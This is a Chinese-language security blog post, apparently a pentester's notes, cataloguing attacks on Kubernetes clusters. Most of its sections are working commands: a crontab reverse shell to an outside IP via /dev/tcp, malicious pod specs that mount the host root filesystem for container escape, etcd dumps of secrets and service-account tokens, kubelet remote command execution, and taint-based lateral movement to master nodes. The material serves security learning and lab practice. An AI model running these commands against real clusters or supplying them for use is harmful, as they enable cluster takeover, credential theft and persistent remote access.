目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录
目录
1802 字
9 分钟
K8s 攻击方式
K8s攻击方式


1、攻击8080端口:API Server未授权访问(master)
旧版本的k8s的API Server默认会开启两个端口:8080和6443。
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0)
新版本k8s默认已经不开启8080。需要更改相应的配置
1cd /etc/kubernetes/manifests/2
3 - --insecure-port=80804
5 - --insecure-bind-address=0.0.0.01kubectl.exe -s 10.1.239.140:8080 get nodes2
3kubectl.exe -s 10.1.239.140:8080 get pods4
5kubectl -s 10.1.239.140:8080 create -f test.yaml6
7kubectl -s 10.1.239.140:8080 --namespace=default exec -it test bash8
9echo -e "* * * * * root bash -i >& /dev/tcp/10.1.239.136/1234 0>&1\n" >> /mnt/etc/crontab2、攻击6443端口:API Server未授权访问(master)
一些集群由于鉴权配置不当,将”system
1kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous-创建恶意pods
1https://10.1.239.140:6443/api/v1/namespaces/default/pods/2
3POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}-连接判断pods
1kubectl --insecure-skip-tls-verify -s https://10.1.239.140:6443 get pods-连接执行pods
1kubectl --insecure-skip-tls-verify -s https://10.1.239.140:6443 --namespace=default exec -it test02 bash-上述一样
3、攻击10250端口:kubelet未授权访问(node)
1https://10.1.239.142:10250/pods # 攻击node节点1/var/lib/kubelet/config.yaml2
3修改authentication的anonymous为true,4
5将authorization mode修改为AlwaysAllow,6
7重启kubelet进程-systemctl restart kubelet-利用执行命令这里需要三个参数
1namespace default2
3pod test024
5container test02-访问获取:
1https://10.1.239.142:10250/runningpods/-执行模版:
1curl -XPOST -k "https://10.1.239.142:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"-构造触发:
1https://10.1.239.142:10250/run/default/test02/test022
3curl -XPOST -k "https://10.1.239.142:10250/run/default/test02/test02" -d "cmd=id"4# 容器中执行命令,需要逃逸4、etcd——未授权访问
1攻击2379端口:默认通过证书认证,主要存放节点的数据,如一些token和证书1第一种:没有配置指定--client-cert-auth 参数打开证书校验,暴露在外Etcd服务存在未授权访问风险。2-暴露外部可以访问,直接未授权访问获取secrets和token利用3
4第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert进行认证访问,一般配合ssrf或其他利用,较为鸡肋。5-只能本地访问,直接未授权访问获取secrets和token利用6
7第三种:实战中在安装k8s默认的配置2379只会监听本地,如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。8-只能本地访问,利用ssrf或其他进行获取secrets和token利用1配置文件:2/etc/kubernetes/manifests/etcd.yaml3复现搭建:4https://www.cnblogs.com/qtzd/p/k8s_etcd.html5安装etcdctl:6https://github.com/etcd-io/etcd/releases7安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux1*复现利用:2*暴露etcd未授权->获取secrets&token->通过token访问API-Server接管3*SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管4*V2/V3版本利用参考:https://www.cnblogs.com/qtzd/p/k8s_etcd.html5
6利用参考:7https://www.wangan.com/p/7fy7f81f02d9563a8https://www.cnblogs.com/qtzd/p/k8s_etcd.html9
10V2版本利用:11直接访问http://ip:2379/v2/keys/?recursive=true12可以看到所有的key-value值。(secrets token)13
14V3版本利用:151、连接提交测试16./etcdctl --endpoints=10.1.239.140:2379 get / --prefix17./etcdctl --endpoints=10.1.239.140:2379 put /testdir/testkey1 "Hello world1"18./etcdctl --endpoints=10.1.239.140:2379 put /testdir/testkey2 "Hello world2"19./etcdctl --endpoints=10.1.239.140:2379 put /testdir/testkey3 "Hello world3"202、获取k8s的secrets:21./etcdctl --endpoints=10.1.239.140:2379 get / --prefix --keys-only | grep /secrets/223、读取service account token:23./etcdctl --endpoints=10.1.239.140:2379 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole24./etcdctl --endpoints=10.1.239.140:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z254、通过token访问API-Server,获取集群的权限:26kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods5、Dashboard未授权访问
1默认端口:80012配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。3kubernetes dashboard的未授权其实分两种情况:4一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。1*复现利用:2*用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard3*Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)41、安装:https://blog.csdn.net/justlpf/article/details/13071877452、启动:kubectl create -f recommended.yaml(证书问题需要加上 --validate=false)63、卸载:kubectl delete -f recommended.yaml74、查看:kubectl get pod,svc -n kubernetes-dashboard85、利用:新增Pod后续同前面利用一致9*找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸10apiVersion: v111kind: Pod12metadata:13 name: dcj14spec:15 containers:16 - image: nginx17 name: dcj18 volumeMounts:19 - mountPath: /mnt20 name: test-volume21 volumes:22 - name: test-volume23 hostPath:24 path: /6、Configfile鉴权文件泄漏
1攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:2-如果提供了--kubeconfig参数,就使用提供的kubeconfig文件3-如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件4-如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config1*复现利用:2*K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸31、将获取到的config复制42、安装kubectl使用config连接5安装:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux6连接:kubectl -s https://10.1.239.140:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes73、上传利用test.yaml创建pod8kubectl apply -f test.yaml -n default --kubeconfig=config94、连接pod后进行容器挂载逃逸10kubectl exec -it dcj bash -n default --kubeconfig=config11cd /mnt12chroot . bash##7、云原生-K8s安全-Kubectl Proxy不安全配置
1当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy2使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上1环境搭建:2kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=80091*复现利用:2*类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。3*找到暴露入口点,根据类型选择合适方案4kubectl -s http://10.1.239.140:8009 get pods -n kube-system8、场景实战
1# 攻击Pod部署Web应用2# 利用ApiServer未授权3# 实现挂载目录宿主机逃逸4# 利用污点Taint横向移动5# 利用Config泄漏横向移动1Web应用部署:(struts2漏洞)2kubectl create deployment struts --image=vulhub/struts2:2.3.283kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort4kubectl get pod,svc利用Web漏洞拿下权限
1探针当前Webshell环境:2https://blog.csdn.net/qq_23936389/article/details/1314671653ls -al /4cat /proc/1/cgroup探针API Server未授权
1curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods提交创建后门Pod
1./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'1./kubectl -s 10.96.0.1:443 create -f test.yaml加参数绕过交互式
1./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods利用后门挂载进行逃逸
1./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"利用污点Taint横向移动master节点
1参考:https://cn-sec.com/archives/1336486.html2
3获取node节点详情:node-role.kubernetes.io/master:NoSchedule4./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes1cat > x.yaml << EOF2apiVersion: v13kind: Pod4metadata:5 name: control-master-x6spec:7 tolerations:8 \- key: node-role.kubernetes.io/master9 operator: Exists10 effect: NoSchedule11 containers:12 \- name: control-master-x13 image: ubuntu:18.0414 command: ["/bin/sleep", "3650d"]15 volumeMounts:16 \- name: master17 mountPath: /master18 volumes:19 \- name: master20 hostPath:21 path: /22 type: Directory23EOF1./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml2
3./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide4
5./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"也可以利用节点泄漏的config横向移动节点
1./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes2
3./kubectl apply -f test.yaml -n default --kubeconfig=config4
5./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"部分信息可能已经过时
目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录